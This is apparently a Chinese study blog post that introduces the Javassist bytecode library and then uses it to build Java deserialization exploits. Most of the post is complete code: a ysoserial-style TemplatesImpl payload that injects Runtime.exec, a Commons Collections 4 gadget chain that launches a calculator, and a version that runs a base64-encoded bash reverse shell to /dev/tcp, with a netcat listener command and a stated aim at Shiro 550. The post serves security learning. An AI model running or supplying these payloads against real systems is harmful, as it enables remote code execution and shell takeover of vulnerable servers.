java--javassist学习

Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。它已加入了开放源代码JBoss 应用服务器项目,通过使用Javassist对字节码操作为JBoss实现动态AOP框架。javassist是jboss的一个子项目,其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。

ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。

CtClass:表示一个类,这些CtClass对象可以从ClassPool获得。

CtMethods:表示类中的方法。

CtFields :表示类中的字段。


首先看一下常用的方法

ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult");//创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//让该类实现Serializable接口
CtField f= new CtField(CtClass.intType,"id",ct);//生成一个字段 类型为int 名字为id
​
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
​
ct.addField(f);//将字段设置到类上
​
CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加构造函数
​
ct.addConstructor(constructor);
​
CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法
​
ct.addMethod(helloM);

ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");//将生成的.class文件保存到磁盘
​
Class c = loader.loadClass("JavassistTestResult");
​
Constructor constructor1 = c.getDeclaredConstructor(int.class);
​
Object object = constructor1.newInstance(1);
​

javassist的学习难度应该不是很大,但主要依赖于反射这一部分,复习一下

  • Field:对变量进行操作
  • Constructor:对构造方法进行操作
  • Method:对普通方法进行操作

随便联系一下使用就可以了,具体利用TemplatesImpl网上有写好的函数,我们直接输入命令就可以直接生成对应的class文件,下面看一下我的练习

import javassist.*;
import javassist.bytecode.AccessFlag;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Javassist {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        ClassPool pool = ClassPool.getDefault();
        Loader loader = new Loader(pool);
        CtClass ct = pool.makeClass("zyer");
        CtField field = new CtField(CtClass.intType,"age",ct);
        field.setModifiers(AccessFlag.PUBLIC);
        ct.addField(field);
        CtConstructor constructor = CtNewConstructor.make("public GeneratedClass(int age){this.age=age;}",ct);
        ct.addConstructor(constructor);
        CtMethod method = CtNewMethod.make("public void hello(int age){System.out.println(age);}",ct);
        ct.addMethod(method);
        String cmd = "public static void main(String[] args) {System.out.println(\"my name is zyer\");}";
        CtMethod method1 = CtNewMethod.make(cmd,ct);
        ct.addMethod(method1);
        ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");
        Class name = loader.loadClass("zyer");
        Constructor constructor1 = name.getDeclaredConstructor(int.class);
        Object obj = constructor1.newInstance(1);
        Method method2 = name.getDeclaredMethod("hello",int.class);
        method2.invoke(obj,123);
        Method method3 = name.getDeclaredMethod("main",String[].class);
        method3.invoke(null,(Object) new String[]{});

    }
}

发现会生成对应的class文件

java--javassist学习_第1张图片


实际利用代码,这里使用函数形式

public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        ((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;

    }

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

 


下面是对cc4链的利用操作,将我之前使用的远程加载,变成使用javassist在本地新建从而进行命令执行(弹计算器)

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;


public class cc4 {
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        ((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;

    }
    public static void main(String[] args) throws Exception {
        Object obj = createTemplatesImpl("open -a Calculator.app");
        System.out.println(obj);
        Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
        TransformingComparator comparator  = new TransformingComparator(transformer);
        TreeBag treeBag = new TreeBag(comparator);
        treeBag.add(obj);
        Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
        field.setAccessible(true);
        field.set(transformer,"getOutputProperties");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(treeBag);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

反弹shell

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;


public class cc4 {
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        ((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;

    }
    public static void main(String[] args) throws Exception {
        Object obj = createTemplatesImpl("bash -c {echo,L2Jpbi9iYXNoIiwiLWMiLCJiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");
        System.out.println(obj);
        Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
        TransformingComparator comparator  = new TransformingComparator(transformer);
        TreeBag treeBag = new TreeBag(comparator);
        treeBag.add(obj);
        Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
        field.setAccessible(true);
        field.set(transformer,"getOutputProperties");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(treeBag);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其中命令是对bash命令进行编码:

bash -i >& /dev/tcp/ip/port 0>&1

使用在线网站(java命令执行payloads - 小草窝博客)

java--javassist学习_第2张图片

 

可以看到会反弹shell,证明命令执行了

 

 这里使用nc命令的时候如果不加 参数 n 会报错,应该是域名解析有问题,那么我们使用命令

nc -lnvvp 5555

 就可以成功反弹shell了。

cc4可以应用在shiro550上,后续会手动复现一下。

你可能感兴趣的:(代码审计学习,java,学习,开发语言)